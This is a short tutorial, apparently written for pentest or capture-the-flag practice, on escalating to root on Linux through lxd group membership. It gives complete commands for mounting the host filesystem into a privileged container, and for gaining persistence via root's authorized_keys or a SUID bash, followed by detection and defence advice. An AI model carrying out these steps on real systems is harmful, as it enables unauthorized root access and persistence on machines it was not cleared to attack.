Privilege escalation through the lxd group

LXD is Ubuntu's system container manager. Its daemon runs as root and serves requests from any member of the lxd group without asking for a password. Since a privileged container can mount host directories, belonging to that group is equivalent to being root: there is no exploit here, only the tool's intended use.

The starting point is an id that includes the group:

id
# uid=1000(user) gid=1000(user) groups=1000(user),108(lxd)

A minimal image is needed inside the host. Build it on the attacking machine and upload it, or use one already present if there is one:

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine

On the victim, import the image and create the container with security.privileged=true, which is the key piece: without that option the container cannot touch the host's disk.

lxc image import ./alpine.tar.gz --alias alpine
lxc init alpine escalation -c security.privileged=true
lxc config device add escalation host-root disk source=/ path=/mnt/root recursive=true
lxc start escalation
lxc exec escalation /bin/sh

Inside the container we are root of the container, which is not much, but /mnt/root is the host's filesystem mounted writable. From there you read the flag, append a key to /mnt/root/root/.ssh/authorized_keys, or set the SUID bit on a copy of bash.

Nuances. The vector needs the LXD service initialised (lxd init); if a storage pool was never configured, lxc init fails and you have to create one first. On modern snap-based installs the group may still be called lxd while the socket lives elsewhere.

How to detect it. The signature is creating a container with security.privileged=true and a disk device mounting source=/ (the lxc config device add ... source=/ command itself lands in the lxd/snap.lxd.daemon journal). On the host, auditd/Sysmon for Linux see uid=0 processes under the lxd/lxc tree writing to /root/.ssh/authorized_keys or setting the SUID bit on bash, and an id of an lxd-group user who doesn't manage containers is already the deviation. Mounting the host root into a privileged container is the central indicator.

Defence. Do not put users in lxd unless they administer containers, and understand that the group is equivalent to root. Related to privileged groups; when the container is part of an orchestrator the vector moves elsewhere and becomes abusing the cluster.